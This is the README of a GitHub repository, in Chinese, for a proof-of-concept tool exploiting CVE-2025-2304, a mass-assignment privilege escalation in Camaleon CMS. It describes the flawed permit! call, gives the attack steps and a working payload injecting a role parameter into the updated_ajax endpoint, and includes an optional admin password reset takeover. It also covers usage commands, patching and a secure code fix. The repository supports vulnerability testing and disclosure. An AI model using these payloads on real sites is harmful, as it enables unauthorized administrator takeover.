d3vn0mi/CVE-2025-2304-POC
GitHub: d3vn0mi/CVE-2025-2304-POC
针对 Camaleon CMS CVE-2025-2304 大规模赋值漏洞的 PoC 利用工具,可验证低权限用户到管理员的权限提升路径。
Stars: 9 | Forks: 3
# CVE-2025-2304 PoC - Camaleon CMS 权限提升
[](https://nvd.nist.gov/vuln/detail/CVE-2025-2304)
[](https://www.tenable.com/security/research/tra-2025-09)
[](https://www.python.org/)
[](LICENSE)
**CVE-2025-2304** 的概念验证 (PoC) 漏洞利用代码,这是 Camaleon CMS 中的一个严重的大规模赋值漏洞,允许低权限用户提升为管理员。
```
██████╗ ██████╗ ██╗ ██╗███╗ ██╗ ██████╗ ███╗ ███╗██╗
██╔══██╗╚════██╗██║ ██║████╗ ██║██╔═████╗████╗ ████║██║
██║ ██║ █████╔╝██║ ██║██╔██╗ ██║██║██╔██║██╔████╔██║██║
██║ ██║ ╚═══██╗╚██╗ ██╔╝██║╚██╗██║████╔╝██║██║╚██╔╝██║██║
██████╔╝██████╔╝ ╚████╔╝ ██║ ╚████║╚██████╔╝██║ ╚═╝ ██║██║
╚═════╝ ╚═════╝ ╚═══╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝
```
## 📋 目录
- [概述](#overview)
- [漏洞详情](#vulnerability-details)
- [功能](#features)
- [安装](#installation)
- [使用说明](#usage)
- [示例](#examples)
- [受影响版本](#affected-versions)
- [缓解措施](#mitigation)
- [免责声明](#disclaimer)
- [参考资料](#references)
- [作者](#author)
## 🔍 概述
CVE-2025-2304 是 Camaleon CMS 中的一个**严重的大规模赋值漏洞**,存在于 `UsersController` 的 `updated_ajax` 方法中。该漏洞源于 Rails 中使用了危险的 `permit!` 方法,该方法允许所有参数未经任何过滤直接通过。
此 PoC 演示了具有低权限的已验证用户如何在更改密码操作期间通过注入未授权的参数来将权限提升为管理员。
**CVSS 评分:** 9.4 (严重)
## 🐛 漏洞详情
### 根本原因
易受攻击的代码使用了 `params.require(:user).permit!`,它接受**所有**用户提供的参数而未经验证:
```
def updated_ajax
user_params = params.require(:user).permit! # DANGEROUS!
current_user.update(user_params)
end
```
### 漏洞利用
攻击者可以在合法的密码更改字段旁注入 `user[role]=admin` 等额外参数,从而导致应用程序将用户角色更新为管理员。
**攻击向量:**
1. 以低权限用户(例如,“client”角色)身份进行身份验证
2. 向 `/admin/users/{id}/updated_ajax` 发送精心构造的 POST 请求
3. 注入 `user[role]=admin` 参数
4. 用户角色提升为管理员
## ✨ 功能
- ✅ **安全测试**:在漏洞利用期间保留用户密码
- ✅ **多载荷**:测试 7 种以上不同的注入技术
- ✅ **版本检测**:自动检测存在漏洞的 CMS 版本
- ✅ **无损选项**:`--no-password-field` 标志用于最安全的测试
- ✅ **代理支持**:集成 Burp Suite/ZAP 进行手动分析
- ✅ **详细模式**:输出详细信息用于调试
- ✅ **接管管理员**:可选的管理员密码重置攻击
- ✅ **彩色输出**:清晰的成功/失败视觉指示器
## 📦 安装
### 系统要求
- Python 3.7+
- pip (Python 包管理器)
### 克隆仓库
```
git clone https://github.com/d3vhthnnni/cve-2025-2304-poc.git
cd cve-2025-2304-poc
```
### 安装依赖
```
pip install -r requirements.txt
```
**或者手动安装:**
```
pip install requests beautifulsoup4
```
## 🚀 使用说明
### 基本语法
```
python3 cve-2025-2304-poc.py -u -p [options]
```
### 命令行选项
```
positional arguments:
target Target URL (e.g., http://target.com)
required arguments:
-u, --username Existing username for authentication
-p, --password User password
optional arguments:
-h, --help Show help message and exit
-v, --verbose Verbose output (show all requests)
--proxy PROXY HTTP proxy for traffic inspection (e.g., http://127.0.0.1:8080)
--no-password-field Test exploitation without password fields (safest)
--skip-admin-test Skip destructive admin password reset test
```
## 📚 示例
### 标准测试(推荐)
使用现有用户凭据进行测试,同时保留密码:
```
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123
```
### 最安全测试(无密码字段)
在漏洞利用载荷中不包含密码字段进行测试:
```
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --no-password-field
```
### 使用 Burp Suite 代理
通过 Burp Suite 路由流量以进行手动检查:
```
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --proxy http://127.0.0.1:8080
```
### 详细模式
启用详细输出以显示所有请求和响应:
```
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 -v
```
### 跳过破坏性测试
仅测试权限提升,跳过管理员密码重置:
```
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --skip-admin-test
```
## 📊 示例输出
```
██████╗ ██████╗ ██╗ ██╗███╗ ██╗ ██████╗ ███╗ ███╗██╗
██╔══██╗╚════██╗██║ ██║████╗ ██║██╔═████╗████╗ ████║██║
██║ ██║ █████╔╝██║ ██║██╔██╗ ██║██║██╔██║██╔████╔██║██║
██║ ██║ ╚═══██╗╚██╗ ██╔╝██║╚██╗██║████╔╝██║██║╚██╔╝██║██║
██████╔╝██████╔╝ ╚████╔╝ ██║ ╚████║╚██████╔╝██║ ╚═╝ ██║██║
╚═════╝ ╚═════╝ ╚═══╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝
============================================================
CVE-2025-2304 - Camaleon CMS Privilege Escalation PoC
Mass Assignment Vulnerability Tester
Author: d3vn0mi | GitHub: github.com/d3vhthnnni
============================================================
[*] Target: http://target.com
[*] Username: testuser
[*] Password: **********
[*] Logging in as testuser...
[+] Successfully logged in
[*] Checking CMS version...
[*] Detected version: 2.9.0
[+] Version is VULNERABLE (< 2.9.1)
============================================================
[*] Testing CVE-2025-2304 Mass Assignment Vulnerability
============================================================
[*] Target User: testuser (ID: 7)
[*] Current Role: Client (client)
[*] Password will remain unchanged
[1/7] Testing: AJAX endpoint - user[role]
✗ Failed
[2/7] Testing: AJAX endpoint - password[role]
============================================================
[+] EXPLOITATION SUCCESSFUL!
============================================================
[+] Privilege Escalation: Client → Administrator
[+] Vulnerable Endpoint: /admin/users/7/updated_ajax
[+] Working Payload: {'password[role]': 'admin'}
[+] Password Unchanged: User can still login normally
[+] CVE-2025-2304 CONFIRMED!
[✓] CVE-2025-2304 VULNERABILITY CONFIRMED
```
## 🎯 受影响版本
| 版本 | 状态 |
|---------|--------|
| < 2.9.1 | ❌ **存在漏洞** |
| ≥ 2.9.1 | ✅ **已修补** |
**具体受影响版本:**
- Camaleon CMS 2.9.0
- Camaleon CMS 2.8.x 及更早版本
## 🛡️ 缓解措施
### 立即采取的行动
1. **升级到 2.9.1 或更高版本**
gem update camaleon_cms
2. **审计用户账户**
- 检查意外的权限更改
- 审查用户角色修改日志
- 查找发往 `/users/*/updated_ajax` 的可疑 POST 请求
3. **强制重置密码**(如果已被入侵)
- 重置所有特权账户的密码
- 使现有会话失效
### 长期预防
**安全的代码模式:**
用显式白名单替换危险的 `permit!`:
```
# 修改前 (VULNERABLE)
def updated_ajax
user_params = params.require(:user).permit!
current_user.update(user_params)
end
# 修改后 (SECURE)
def updated_ajax
user_params = params.require(:user).permit(:password, :password_confirmation)
current_user.update(user_params)
end
```
**额外的安全措施:**
- 在整个应用程序中实施严格的参数过滤
- 为关键操作添加角色更改审批工作流
- 启用权限更改的审计日志
- 使用最小权限原则
- 通过 WAF 规则监控大规模赋值尝试
## ⚠️ 免责声明
本工具仅供**教育和授权安全测试目的**使用。
**法律声明:**
- 仅在您拥有或有明确书面许可进行测试的系统上使用本工具
- 未经授权访问计算机系统在以下法律中是违法行为,例如:
- 美国的《计算机欺诈和滥用法》(CFAA)
- 英国的《计算机滥用法 1990》
- 其他司法管辖区的类似立法
- 作者对因使用不当或由本工具造成的损害不承担任何责任
- 用户应对自己的行为负全责
**道德使用:**
- 在测试前获得适当的授权
- 遵循负责任的披露实践
- 在获得范围批准的渗透测试活动中使用
- 仅限于受控实验室环境中的教育目的
## 📖 参考资料
- **CVE 条目:** [CVE-2025-2304](https://nvd.nist.gov/vuln/detail/CVE-2025-2304)
- **GHSA 公告:** [GHSA-rp28-mvq3-wf8j](https://github.com/advisories/GHSA-rp28-mvq3-wf8j)
- **供应商公告:** [Tenable Security Research TRA-2025-09](https://www.tenable.com/security/research/tra-2025-09)
- **补丁提交:** [GitHub Commit 179fd6b](https://github.com/owen2345/camaleon-cms/commit/179fd6b1ecf258d3e214aebfa87ac4a322ea4db4)
- **发行说明:** [Camaleon CMS 2.9.1](https://github.com/owen2345/camaleon-cms/releases/tag/2.9.1)
## 👤 作者
**d3vn0mi**
- GitHub: [@d3vn0mi](https://github.com/d3vn0mi)
- 个人网站: [@d3vn0mi](https://isomarakis.eu)
- 个人博客: [@d3vn0mi](https://d3vn0mi.com)
## 📝 许可证
本项目采用 MIT 许可证授权 - 有关详细信息,请参见 [LICENSE](LICENSE) 文件。
## ⭐ 显示您的支持
如果这个项目对您有帮助,请给一个 ⭐️!
**注意:** 此仓库用于安全研究和教育目的。在测试前,请始终践行负责任的披露并获得适当的授权。
标签:Camaleon CMS, CSV导出, CVE-2025-2304, CVSS 9.4, PoC, Python, Ruby CMS, Web安全, 协议分析, 大规模赋值漏洞, 无后门, 暴力破解, 权限提升, 网络安全, 蓝队分析, 身份验证漏洞, 隐私保护, 高危漏洞